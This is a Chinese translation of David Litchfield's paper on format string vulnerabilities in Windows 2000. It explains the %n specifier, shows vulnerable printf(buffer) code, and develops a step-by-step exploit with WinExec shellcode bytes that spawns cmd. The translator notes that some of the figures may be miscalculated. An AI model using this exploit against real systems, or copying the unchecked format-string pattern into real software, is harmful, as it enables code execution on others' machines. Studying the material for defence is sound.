Windows 2000中格式化字符的安全问题
/ns/hk/hacker/data/20020818035541.htm
Windows 2000中格式化字符的安全问题
原文名称：《Windows 2000 Format String Vulnerabilities》
原文作者：David Litchfield
原文下载：http://www.nextgenss.com/papers/win32format.doc
翻译：refdom
Email: refdom@263.net
Homepage: www.opengram.com
2002-2-22
即使只有一点C语言基础的人也会printf()函数，实际上C语言教科书上通常的第一个程序就是
“Hello, World!”，Kernighan and Ritchie在《The C Programming Language》中引发的惯例。
#include <stdio.h>
void main(void)
{
printf("\nHello,World!\n\n");
}
这并没有完，在C语言中，当编译并运行这个程序向屏幕打印“Hello, World!”并不是简单的向屏
幕输出字符串。和相关的程序fprintf(),vprintf() 以及 sprintf()等一样，就想在print后面加上“f”
，这些实际上是打印格式。格式化部分允许程序员控制显示文本的样式。可以通过代替特殊的格式字符来
显示值或数据，比如，要显示整型的变量“dVal”的值，就可以使用下面的格式化字符：
printf(“The value is %d”,dVal);
打印的时候，%d就被dVal的值所代替。如果程序员想用十六进制显示同样值：
printf(“The value in decimal is %d and in hexadecimal is %x”,dVal,dVal);
这里%d表示十进制的dVal值，%x表示十六进制的dVal的值。下面是集中特殊的格式化字符：
%c 单字符格式
%d 十进制整型 (pre ANSI)
%e,%E 指数形式的 float or double
%f 十进制 float or double
%I 整型 (like %d)
%o 八进制整型
%p 地址指针
%s 字符串
%x,%X 十六进制整型
当然，功能不仅限于怎么控制显示的数据类型，而且也能控制显示的宽度和队列等。
一个格式字符%n没有列在上面，因为有特殊用途，但是它存在的格式化字符安全问题也非常严重。%n用
于把前面打印的字符数记录到一个变量中。也用于统计格式化的字节数，这当然需要一个空间来存储这个数
字，因此程序需要为此分配内存，例如下面的代码：
1. #include <stdio.h>
2. int main()
3. {
4. int bytes_formatted=0;
5. char buffer[28]=”ABCDEFGHIJKLMNOPQRSTUVWXYZ”;
6. printf(“%.20x%n”,buffer,&bytes_formatted);
7. printf(“\nThe number of bytes formatted in the previous printf statement was %d\n”,bytes_formatted);
8. return 0;
9. }
编译后输出显示为：
0000000000000012ff64
The number of bytes formatted in the previous printf statement was 20
我们在第四行申明了一个int类型的变量bytes_formatted，在第六行，格式化字符表示20个字符应该按
十六进制 (“%.20x”) 进行格式化，%n则把值20写到bytes_formatted变量中。这意味着我们写了一个值到另
外的内存空间中。现在我们不讨论编译者写数值或者写地址的影响，而讨论那种通过通过某种方式在操作这些
值的时候造成了缺陷（溢出），如果这样成功的话，可能获得超过程序的执行控制。
在程序员试图传递一个字符串到一个使用格式化字符的格式函数中，就可能发生溢出情况。参考下面的程序。
#include <stdio.h>
void main(int argc, char *argv[])
{
int count = 1;
while(argc > 1)
{
printf(argv[count]);
printf(“ “);
count ++;
argc --;
}
}
编译后运行和显示如下：
Prompt: myecho hello
hello
Prompt: myecho this is some text
this is some text
So it justs spits back what we feed in �C or does it? Try:
Prompt: myecho %x%x
112ffc0
注意到myecho %x%x，并没有按照原本的意思打印出来，却显示的十六进制数？原因正是因为这些属于格式
化字符，它们被传递给printf()函数却没有用函数来解释这些字符，被认为是格式化字符。安全的写法应该是
printf(“%s”,argv[count]);
而不是：
printf(argv[count]);
一个攻击者能够怎么利用呢？使用 “%n”格式化字符，能写任意值到他们选定的内存中！如果实现了，就
能够控制程序的执行。例如，在Intel上，能就可以重写堆栈中的地址，并指向他们的攻击代码，这可以执行任
意目的的程序。这种格式化字符漏洞利用起来需要考虑使用函数、操作系统和处理器类型。
Windows 2000 / Intel 下的格式化字符漏洞问题
考虑下面有漏洞的代码：
#include <stdio.h>
int main(int argc, char *argv[])
{
char buffer[512]="";
strncpy(buffer,argv[1],500);
printf(buffer);
return 0;
}
这个程序拷贝第一个参数到一个缓冲区，然后简单地把缓冲区传递给 printf， 有问题的代码是这一行：
printf(buffer);
因为我们可以提供一个格式化字符作为第一个参数，而被传递给 printf() ，假设这个程序编译后叫 printf.exe。
我们现在需要作的就是试图用我们提供的地址来重写堆栈中函数的返回地址，我们提供的地址可以指向攻击
代码（shell code）。要达到这样的目的，我们需要得到格式化打印的确切字节数，用来匹配我们需要用的地址。
例如，如果我们的攻击代码在地址0x0012FF40处，那么，我们就要让 printf 表达式格式0x0012FF40个字节，我
们的格式化字符串就可以是：
c:\>printf %.622496x%.622496x%n
这就让1244992字节被printf表达式格式化打印，这个数字的十六进制就是0x0012FF40。但是目前并不完善，
我们需要把exploit代码也放进去，这需要占据字节数。因此，我们要产生shell ，在windows 2000中这至多需
要 40字节的 exploit code ，因此，需要修改我们的格式化字符串放入我们的代码就需要从622496中减去40。
就变成：
c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%.622496x%.622456x%n
在这个例子中，我们只是简单地用字符“A”替代我们的攻击代码。现在可以运行它但是可能发生非法存取
问题，因为程序试图写的地址0x41414141可能没有初始化。当这个问题出现的时候调试程序，正如看到的，不愉
快的一行是：
mov dword ptr [eax],ecx
它试图移动（mov）ecx （etc是0x0012FF40，也就是是我们需要找到的地址）到 eax （现在是0x41414141）
地址中，由于0x41414141这个区域还没有初始化，所以就会出现存取错误。同时，我们调试并找到攻击代码字符
串（我们刚才只是假设它们的地址是0x0012FF40），但是它们却并不在0x0012FF40存在，而是在地址0x0012FD80
中。相差并不远，但是，要利用起来是需要非常精确的。因此，需要再次修改那些格式字符串。在这之前，我们
是通过找一个合适的目标（需要重写的返回地址）来进行的。我们发现了一个相似的目标，地址0x0012FD54，它
储存的地址是0x00401077，因此，我们可以类似这样来进行。现在接着要达到的目的就是要重写EI为P
地址0x0012FD80，这个地址就是攻击代码的地址。如果达到这个目的，把这个返回地址推送到堆栈中，进程就会
开始执行我们的攻击代码了。怎样才能重写地址0x0012FD54，而刚才我们做的事情却一直是在试图重写地址
0x41414141？好，这是一个线索。%n格式化字符把指向字符串中某处的指针标志到字符串的结尾处。我们要做的
就是把%n从我们格式化字符串中的某个位置变化到字符串结尾处，要达到这个目的就需要使用添加更多的%x来完成，
我们用BBBB来标记我们的字符串结尾。
c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB
这是，程序试图写的地址是0x78257825，我们转换成十进制数发现0x78只是小写的“x”，0x25是“%”，所以
看出来现在写的位置还是"%x%x%x%x"中的某个地方，这样，我们就继续试探，增加更多的%x:
c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB
这次正好到了，现在要试图写的地址就是0x42424242(也就是BBBB)，我们把BBBB代替成攻击代码的返回位
置0x0012FD54。但是，我们只是在这里可以用ASCII很简单地写0x12 或者 0xFD，所以需要写另外的一个程序来帮
我们把这些值写进去。刚才我们用%x一直达到能够重写我们需要的地址0x0012FD80，而现在这个值变成了
0x00130019（refdom注：因为多了很多%x，所以让%n的大小也增加了），我们需要少写665字节内容，把刚才的622456
改变成621791，我们的程序就是：
#include <stdio.h>
int main()
{
char buffer[500]="printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%.622496x%.621791x%n\x54\xFD\x12";
system(buffer);
return 0;
}
编译运行后又有了一个新的非法存取问题：在0x0012FF90处的指令引用了0x00000030处的存储器。注意，
在0x0012FF90处的指令（这是一个堆栈地址），并且显然，我们的进程正试图执行堆栈中的代码，我们的格式
化字符串exploit起作用了！我们已经成功地用我们的地址重写了返回地址，并将程序引到那里去了。现在，我
们需要把exploit代码放进去，刚才我们只是用AAA来代替了。我们先做一个确定，替代前面的四个A成为一个检
查点：
#include <stdio.h>
int main()
{
char buffer[500]="printf ";
charbuffer2[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%.622496x%.621791x%n\x54\xFD\x12";
strcat(buffer,"\xCC\xCC\xCC\xCC");
strcat(buffer,buffer2);
system(buffer);
return 0;
}
（注：代码中charbuffer2中比前面的少了四个A，用后面的\xCC\xCC\xCC\xCC代替了）
当运行到这个检查点的时候，我们又回到了代码。现在能够确认我们已经能够获得并控制程序的执行，接着
放入我们的exploit代码。假设我们的shell代码是下面的：
push ebp // Procedure Prologue - often not needed
mov ebp,esp // Procedure Prologue - often not needed
xor edi,edi // Get some NULLs
push edi // Push them onto the stack
mov byte ptr [ebp-04h],63h // Write 'c' of cmd
mov byte ptr [ebp-03h],6Dh // Write 'm' of cmd
mov byte ptr [ebp-02h],64h // Write 'd' of cmd
push edi // Push NULLs again (2nd Param for WinExec())
mov byte ptr [ebp-08h],03h // Turn it into SW_MAXIMIZE
lea eax,[ebp-04h] // Load address of cmd into EAX
push eax // Push it onto stack (1st Param for WinExec())
mov eax, 0x77E9B50E // Move address of WinExec() into EAX
call eax //<---- Call it
这样，我们的程序就成为：
#include <stdio.h>
int main()
{
char buffer[500]="printf ";
char exploit_code[]=","\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6
\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x01\x8D\x45\xFC\x50\xB8\x0E\xB5\xE9\x77\xFF\xD0\xCC";
char buffer2[]="AAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n \x54\xFD\x12";
strcat(buffer,exploit_code);
strcat(buffer,buffer2);
system(buffer);
return 0;
}
编译后运行了新的shell。
这是在WIN2000中利用格式化字符漏洞的一种简单方法。整个思路就是：我们格式化一个跟exploit代码地
址位置这么大小的字符串，并用这个值重写了堆栈中程序的返回地址，这样，当子程序运行返回后不是返回本
来的地址，相反，而是接着我们替代的地址继续执行程序了。
利用printf类函数并不一定跟这个例子一样。例如：如果在用vsprintf函数的有问题代码
（在Van Dyke Technologies’ SSH Server for Windows, Vshell，发现过），攻击者并不能象printf()这样
选择内存位置，它被限制在参数列表及其以后的一个地址段中，而象VShell，第十三个参数是一个保存这一个函
数指针的地址，因此可以用攻击者的函数指针重写这个地址来利用，更多的关于这个问题的信息可以参考：
http://www.atstake.com/research/advisories/2001/a021601-1.txt
注：A note on Windows NT 4.0
在NT4.0上利用格式化字符问题不同于WIN2000，这是因为NT对于printf()类函数有一个516字符的限制：
printf(“%.516x”,foo);这个是可行的，但是：
printf(“%.517x”,foo);就会有核心溢出问题。
所以问题就出在要利用这个格式化漏洞，我们就时常需要写一个非常大的值。我们写这个值的时候需要和最
大宽度相关了：
printf(“%.500x%n”,foo,bar); 会写数字500（0x1F4） 到bar的地址，现在，假设需要用我们的
exploit代码的地址（可以在堆栈中找到）来重写堆栈中的返回地址，在NT平台下，这个堆栈通常在0x0012ffff周
围，那么为了象上面的例子那样，我们就必须写“%.500x”大约 2500次！！这要求15,000字节的空间。在NT上，
并不象WIN2000中这么直接了。
（refdom备注:关于原文中的例子，不知道是我理解上的错误还是原文的错误，一些数字大小计算上有差错）